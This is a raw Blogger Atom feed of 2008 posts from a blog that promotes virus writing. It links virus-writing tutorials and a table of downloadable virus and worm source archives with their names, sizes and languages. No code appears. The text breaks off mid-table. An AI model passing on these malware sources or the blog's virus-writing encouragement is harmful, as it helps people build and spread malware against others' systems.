<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3222329616442510883</id><updated>2012-01-07T11:26:09.765+05:30</updated><title type='text'>Windows , Linux  Computer Virus Codes Collection &amp; Creation Tools</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://virus-codes.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://virus-codes.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Ashish Jain</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-IMdPHu-0lX8/AAAAAAAAAAI/AAAAAAAAESw/1ITqXGACgj4/s512-c/photo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>7</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3222329616442510883.post-7464041456357126321</id><published>2008-12-12T00:00:00.002+05:30</published><updated>2008-12-15T17:17:04.254+05:30</updated><title type='text'>Virus Assembly Guide | How to create or develop Virus code?</title><content type='html'>&lt;div align="left" style="margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: #ff66cc; font-size: 130%;"&gt; --------------------------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div align="left" style="margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: teal; font-size: 130%;"&gt;Until &amp;amp; Unless , you don't know  about the Spices , You can never be a Cook&lt;/span&gt;&lt;/div&gt;&lt;div align="left" style="margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: teal; font-size: 130%;"&gt;Until &amp;amp; Unless , you don't know  about Assembly , You can't be a Good Hacker or Virus Programmer.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-family: Algerian;"&gt;ASHISH  JAIN&lt;/span&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;span style="color: #ff66cc; font-size: 130%;"&gt; --------------------------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;/div&gt;&lt;div align="center"&gt;Now Here Starts your Guide to Assembly  Programming . . .&lt;/div&gt;&lt;div align="center"&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;span style="color: #a4a4a4; font-family: High Tower Text; font-size: 180%;"&gt;Download  these PDF files as the part of your Tutorial . .&lt;/span&gt;&lt;span style="color: #ffff66; font-family: High Tower Text; font-size: 180%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;a href="http://sites.google.com/site/blogspress/Home/pcasm-book.pdf?attredirects=0" style="text-decoration: none;"&gt;&lt;span style="font-family: Times New Roman; font-size: 180%;"&gt;&lt;span style="color: #ff66cc;"&gt;1.&amp;nbsp;PC  Assembly Language&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;span style="font-family: CMR17; font-size: 180%;"&gt;&lt;a href="http://www.esnips.com/nsdoc/1452a796-d24e-4280-85f1-9f5ec6552f02" style="text-decoration: none;"&gt;&lt;span style="color: #ff66cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;a href="http://sites.google.com/site/blogspress/Home/ProgrammingGroundUp-1-0-booksize.pdf?attredirects=0" style="text-decoration: none;"&gt;&lt;span style="font-family: Times New Roman; font-size: 180%;"&gt;&lt;span style="color: #ff66cc;"&gt;2. Programming from the Ground Up&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;a href="http://sites.google.com/site/blogspress/Home/VirusTutor.pdf?attredirects=0"&gt;&lt;span style="font-family: Times New Roman; font-size: 180%;"&gt;&lt;span style="color: #ff66cc;"&gt;3.&amp;nbsp; Virus Tutor&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: Times New Roman; font-size: 180%;"&gt;&lt;span style="color: #ff66cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://sites.google.com/site/blogspress/Home/TheNormanBookonComputerViruses.pdf?attredirects=0"&gt;&lt;span style="font-family: Times New Roman; font-size: 180%;"&gt;&lt;span style="color: #ff66cc;"&gt;4. Norman Book on Computer Viruses&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: Times New Roman; font-size: 180%;"&gt;&lt;span style="color: #ff66cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://sites.google.com/site/blogspress/Home/TheLittleBlackBookofComputerVirus.pdf?attredirects=0"&gt;&lt;span style="font-family: Times New Roman; font-size: 180%;"&gt;&lt;span style="color: #ff66cc;"&gt;5. Black book on Computer Viruses&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: Times New Roman; font-size: 180%;"&gt;&lt;span style="color: #ff66cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://sites.google.com/site/blogspress/Home/BluetoothWorm.pdf?attredirects=0"&gt;&lt;span style="font-family: Times New Roman; font-size: 180%;"&gt;&lt;span style="color: #ff66cc;"&gt;6. Bluetooth worm&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: Times New Roman; font-size: 180%;"&gt;&lt;span style="color: #ff66cc;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;span style="color: #a4a4a4; font-family: High Tower Text; font-size: 180%;"&gt;Download  these Zip files as the part of your Practice &lt;/span&gt;&lt;span style="color: #ffff66; font-family: Informal Roman; font-size: 180%;"&gt; . . .&lt;/span&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;span style="color: #ffff66; font-family: Informal Roman; font-size: 180%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;span style="font-size: 180%;"&gt;&lt;span style="color: #ff66cc;"&gt;1 .&lt;/span&gt; &lt;/span&gt; &lt;a href="http://sites.google.com/site/blogspress/Home/linux-ex.zip?attredirects=0" style="text-decoration: none;"&gt; &lt;span style="color: #ff66cc; font-size: 180%;"&gt;Linux Assembly Examples&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;a href="http://www.esnips.com/nsdoc/cb5e1e3b-ee29-4553-9f40-62b2d452b0aa" style="text-decoration: none;"&gt;&lt;span style="color: #ff66cc; font-size: 180%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;span style="color: #ff66cc; font-size: 180%;"&gt;2. &lt;/span&gt; &lt;a href="http://sites.google.com/site/blogspress/Home/ms-ex.zip?attredirects=0" style="text-decoration: none;"&gt; &lt;span style="color: #ff66cc; font-size: 180%;"&gt;Microsoft Assembly Examples&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222329616442510883-7464041456357126321?l=virus-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://virus-codes.blogspot.com/feeds/7464041456357126321/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222329616442510883&amp;postID=7464041456357126321&amp;isPopup=true' title='18 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/7464041456357126321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/7464041456357126321'/><link rel='alternate' type='text/html' href='http://virus-codes.blogspot.com/2007/03/until-unless-you-dont-know-about-spices.html' title='Virus Assembly Guide | How to create or develop Virus code?'/><author><name>Ashish Jain</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-IMdPHu-0lX8/AAAAAAAAAAI/AAAAAAAAESw/1ITqXGACgj4/s512-c/photo.jpg'/></author><thr:total>18</thr:total><georss:featurename>California, USA</georss:featurename><georss:point>36.778261 -119.4179324</georss:point><georss:box>27.9976225 -134.3593389 45.5588995 -104.4765259</georss:box></entry><entry><id>tag:blogger.com,1999:blog-3222329616442510883.post-7425156932602461888</id><published>2008-12-11T06:00:00.000+05:30</published><updated>2008-12-15T17:18:33.515+05:30</updated><title type='text'>Windows Viruses / Worms</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;span style="color: cyan; font-family: MS Serif; font-size: 180%;"&gt;Wi&lt;/span&gt;&lt;span style="color: green; font-family: MS Serif; font-size: 180%;"&gt;nd&lt;/span&gt;&lt;span style="font-family: MS Serif; font-size: 180%;"&gt;ow&lt;/span&gt;&lt;span style="color: red; font-family: MS Serif; font-size: 180%;"&gt;s  Vi&lt;/span&gt;&lt;span style="color: #ff9900; font-family: MS Serif; font-size: 180%;"&gt;rus&lt;/span&gt;&lt;span style="color: #bc9ff7; font-family: MS Serif; font-size: 180%;"&gt;es / W&lt;/span&gt;&lt;span style="color: cyan; font-family: MS Serif; font-size: 180%;"&gt;o&lt;/span&gt;&lt;span style="color: red; font-family: MS Serif; font-size: 180%;"&gt;rm&lt;/span&gt;&lt;span style="color: cyan; font-family: MS Serif; font-size: 180%;"&gt;s&lt;/span&gt;&lt;/div&gt;&lt;table style="width: 680px;" summary="Virus sources"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th width="159"&gt;&lt;span style="color: red; font-family: Freestyle Script;"&gt;Filename&lt;/span&gt;&lt;/th&gt;     &lt;th width="80"&gt;&lt;span style="color: red; font-family: Freestyle Script;"&gt;Size&lt;/span&gt;&lt;/th&gt;     &lt;th width="200"&gt;&lt;span style="color: red; font-family: Freestyle Script;"&gt;Name&lt;/span&gt;&lt;/th&gt;     &lt;th width="82"&gt;&lt;span style="color: red; font-family: Freestyle Script;"&gt;Date&lt;/span&gt;&lt;/th&gt;     &lt;th width="46"&gt;&lt;span style="color: red; font-family: Freestyle Script;"&gt;Lang&lt;/span&gt;&lt;/th&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="159"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=carume.zip"&gt;     &lt;span style="color: #009933; font-family: Bookman Old Style; font-size: 130%;"&gt;  &lt;span style="text-decoration: none;"&gt;carume.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="80"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;6123&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="200"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Carume&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="82"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2006-03-28&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="46"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table height="273" style="width: 679px;" summary="Virus sources"&gt;&lt;tbody&gt;&lt;tr&gt;     &lt;td height="19" valign="top" width="182"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=blackhand.zip"&gt;     &lt;span style="color: #009933; font-size: 130%;"&gt;&lt;span style="text-decoration: none;"&gt;blackhand.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="91"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;27277&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="239"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Blackhand&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="80"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2005-02-17&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="25"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td height="19" valign="top" width="182"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=blacky.zip"&gt;     &lt;span style="color: #009933; font-size: 130%;"&gt;&lt;span style="text-decoration: none;"&gt;blacky.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="91"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;30216&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="239"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Blacky 1.0b&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="80"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2005-05-18&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="25"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td height="19" valign="top" width="182"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=cleevix.zip"&gt;     &lt;span style="color: #009933; font-size: 130%;"&gt;&lt;span style="text-decoration: none;"&gt;cleevix.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="91"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;5088&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="239"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Cleevix&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="80"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2005-00-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="25"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td height="19" valign="top" width="182"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=egypt.zip"&gt;     &lt;span style="color: #009933; font-size: 130%;"&gt;&lt;span style="text-decoration: none;"&gt;egypt.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="91"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;16209&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="239"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Egypt 1.5&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="80"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2005-07-29&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="25"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td height="19" valign="top" width="182"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=lamea.zip"&gt;     &lt;span style="color: #009933; font-size: 130%;"&gt;&lt;span style="text-decoration: none;"&gt;lamea.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="91"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;564&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="239"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Lame.a&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="80"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2005-08-26&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="25"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;KiXtart&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td height="19" valign="top" width="182"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=lameb.zip"&gt;     &lt;span style="color: #009933; font-size: 130%;"&gt;&lt;span style="text-decoration: none;"&gt;lameb.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="91"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;848&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="239"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Lame.b&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="80"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2005-09-01&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="25"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;KiXtart&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td height="19" valign="top" width="182"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=monad.zip"&gt;     &lt;span style="color: #009933; font-size: 130%;"&gt;&lt;span style="text-decoration: none;"&gt;monad.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="91"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;1733&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="239"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Monad-Candela family&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="80"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2005-08-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="25"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;msh&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td height="19" valign="top" width="182"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=nanomites.zip"&gt;     &lt;span style="color: #009933; font-size: 130%;"&gt;&lt;span style="text-decoration: none;"&gt;nanomites.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="91"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;41845&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="239"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Nanomites 2.0b&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="80"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2005-07-18&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="25"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td height="19" valign="top" width="182"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=prc-ko.zip"&gt;     &lt;span style="color: #009933; font-size: 130%;"&gt;&lt;span style="text-decoration: none;"&gt;prc-ko.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="91"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;5706&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="239"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;PRC-KO.XP&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="80"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2005-03-28&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="25"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td height="19" valign="top" width="182"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=shrug.zip"&gt;     &lt;span style="color: #009933; font-size: 130%;"&gt;&lt;span style="text-decoration: none;"&gt;shrug.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="91"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;23829&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="239"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Shrug&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="80"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2005-10-23&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="25"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td height="19" valign="top" width="182"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=tirannis.zip"&gt;     &lt;span style="color: #009933; font-size: 130%;"&gt;&lt;span style="text-decoration: none;"&gt;tirannis.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="91"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;6466&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="239"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;sic semper tirannis&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="80"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2005-10-23&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="19" valign="top" width="25"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;c&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td height="16" valign="top" width="182"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=valium.zip"&gt;     &lt;span style="color: #009933; font-size: 130%;"&gt;&lt;span style="text-decoration: none;"&gt;valium.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="16" valign="top" width="91"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;8417&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="16" valign="top" width="239"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Valium&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="16" valign="top" width="80"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2005-00-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td height="16" valign="top" width="25"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;vb&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table style="width: 661px;" summary="Virus sources"&gt;&lt;tbody&gt;&lt;tr&gt;     &lt;td align="center" valign="top" width="180"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=analbeeds.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;analbeeds.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="93"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;8746&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;AnalBeeds&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="82"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2004-09-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="38"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td align="center" valign="top" width="180"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=elysium.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;elysium.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="93"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;13356&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Elysium&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="82"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2004-08-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="38"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; 